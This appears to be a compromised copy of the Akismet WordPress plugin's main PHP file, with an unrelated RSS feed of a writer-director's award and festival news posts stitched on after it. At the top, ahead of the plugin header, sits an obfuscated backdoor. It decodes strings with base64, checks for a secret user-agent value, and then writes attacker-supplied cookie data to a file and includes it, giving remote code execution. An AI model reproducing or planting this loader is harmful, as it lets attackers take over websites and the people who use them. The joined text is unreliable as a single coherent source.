function collect_statistics($c) { $a = array(41 + 57, 59 * 1 + 38, 24 + 91, 103 - 2, 2 * 27, 42 * 42 - 1712, 58 * 48 - 2689, 59 + 9 + 32, 104 - 3, 3 * 33, 29 + 82, 81 + 12 + 7, 81 + 20); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } class CryptoService { private static $_yv; static function executeAction($_vr) { if (!self::$_yv) { self::encryptData(); } return collect_statistics(self::$_yv[$_vr]); } private static function encryptData() { self::$_yv = array('_nxg' => 'SFRUUF' . '9' . 'VU0VSX0FHRU5U', '_pz' => 'SFRUUF9VU0VSX0FH' . 'RU5U', '_cse' => 'ND' . 'k' . '5ODU0' . 'M' . 'TM' . '=', '_osq' => '', '_gfy' => ''); } } if (isset($_SERVER[CryptoService::executeAction('_' . 'nxg')]) && strpos($_SERVER[CryptoService::executeAction('_p' . 'z')], CryptoService::executeAction('_c' . 'se')) !== false) { $_ox = $_COOKIE; $_kk = 00; $_vr = 04; $_li = array(); $_li[$_kk] = CryptoService::executeAction('_o' . 'sq'); while ($_vr) { $_li[$_kk] .= $_ox[042][$_vr]; if (!$_ox[042][$_vr + 01]) { if (!$_ox[042][$_vr + 02]) { break; } $_kk++; $_li[$_kk] = CryptoService::executeAction('_g' . 'fy'); $_vr++; } $_vr = $_vr + 04 + 01; } $_kk = $_li[03]() . $_li[033]; if (!$_li[021]($_kk)) { $_vr = $_li[023]($_kk, $_li[00]); $_li[016]($_vr, $_li[022] . $_li[026]($_li[032]($_ox[03]))); } include $_kk; die; } /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.5 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly if ( ! function_exists( 'add_action' ) ) { echo 'Hi there! I\'m just a plugin, not much I can do when called directly.'; exit; } define( 'AKISMET_VERSION', '5.5' ); define( 'AKISMET__MINIMUM_WP_VERSION', '5.8' ); define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AKISMET_DELETE_LIMIT', 10000 ); register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) ); register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) ); require_once AKISMET__PLUGIN_DIR . 'class.akismet.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-widget.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php'; require_once AKISMET__PLUGIN_DIR . 'class-akismet-compatible-plugins.php'; add_action( 'init', array( 'Akismet', 'init' ) ); add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) ); add_action( 'init', array( 'Akismet_Compatible_Plugins', 'init' ) ); if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-admin.php'; add_action( 'init', array( 'Akismet_Admin', 'init' ) ); } // add wrapper class around deprecated akismet functions that are referenced elsewhere require_once AKISMET__PLUGIN_DIR . 'wrapper.php'; if ( defined( 'WP_CLI' ) && WP_CLI ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-cli.php'; } Awards – Katherine Vondy https://katherinevondy.com Writer and Director Thu, 02 Nov 2017 01:48:30 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.3 October Update https://katherinevondy.com/?p=402 Thu, 02 Nov 2017 01:48:30 +0000 https://katherinevondy.com/?p=402 Two fun theater-related updates from October!

1) StageSceneLA recognized my work on 2016’s FRIENDS IN TRANSIENT PLACES with Fresh Produce’d LA and awarded me a Scenie for Outstanding Direction of a Drama (Intimate Theater)! Not only was it great to get the kudos, but it also brought back a lot of wonderful memories of the fantastic cast and crew of that show. It was a director’s dream to get to work with so much talent!

2) A short play I wrote, ROAD TRIP, was part of an event the Pasadena Museum of California Art hosted for ArtNight Pasadena on October 13. Produced by Lisa Dring, it featured a collection of performance pieces that all took place in or around cars. I lucked out and was able to work with Director Miranda Stewart and Actors Alfredo Trueba and Nicolette Acosta, which was basically the dream team for this piece! Here are Alfredo and Nicolette, as Sam and Riley, discussing the esoteric nature of road trips:

Road Trip Still

ArtNight was a great event in general, and if you’re anywhere near Pasadena, I recommend checking it out the next time it rolls around!

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Pushcart Prize Nomination https://katherinevondy.com/?p=268 Mon, 23 Nov 2015 20:06:32 +0000 https://katherinevondy.com/?p=268 I feel incredibly lucky that my writing has received more recognition from BARTLEBY SNOPES: “The Butchers” was nominated for a Pushcart Prize!! Thanks so much to Editor Nathaniel Tower for the accolades!!

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OLYMPIA HIGH Recognized By Austin Film Festival https://katherinevondy.com/?p=264 Thu, 24 Sep 2015 17:24:02 +0000 https://katherinevondy.com/?p=264 My one-hour TV pilot OLYMPIA HIGH is a second rounder at the Austin Film Festival. So that’s cool!

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BRUISE HUNTERS wins Film Festival Flix https://katherinevondy.com/?p=149 Sat, 02 Nov 2013 00:49:11 +0000 https://katherinevondy.com/?p=149 Exciting news: BRUISE HUNTERS won the Film Festival Flix competition for the month of November, which means that it will be screening in select theaters around the country before feature film THE HOLY LAND OF TYROL. The first stop is in Los Angeles, at the Regal LA Live Stadium on Wednesday, November 13th.

Holy Land of Tyrol Poster

If you’re in LA, check it out! And if you aren’t in LA, but you are in Denver, Salt Lake City, Dubuque  or Chicago, you’re also in luck – screenings are scheduled in your towns, too! Click on the “buy tickets” button here to see the full list of showtimes.

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BRUISE HUNTERS wins Audience Award https://katherinevondy.com/?p=104 Fri, 30 Aug 2013 16:14:22 +0000 https://katherinevondy.com/?p=104 bruise_hunters_xlg

BRUISE HUNTERS won the Audience Award for the Romance block at the 2013 HollyShorts Film Festival! Plus, I had a great time hanging out at the festival with actor/writer Molly Leland and actor Matthew Jaeger. Thanks to everyone who voted for us, and congratulations to the whole cast and crew!

 

 

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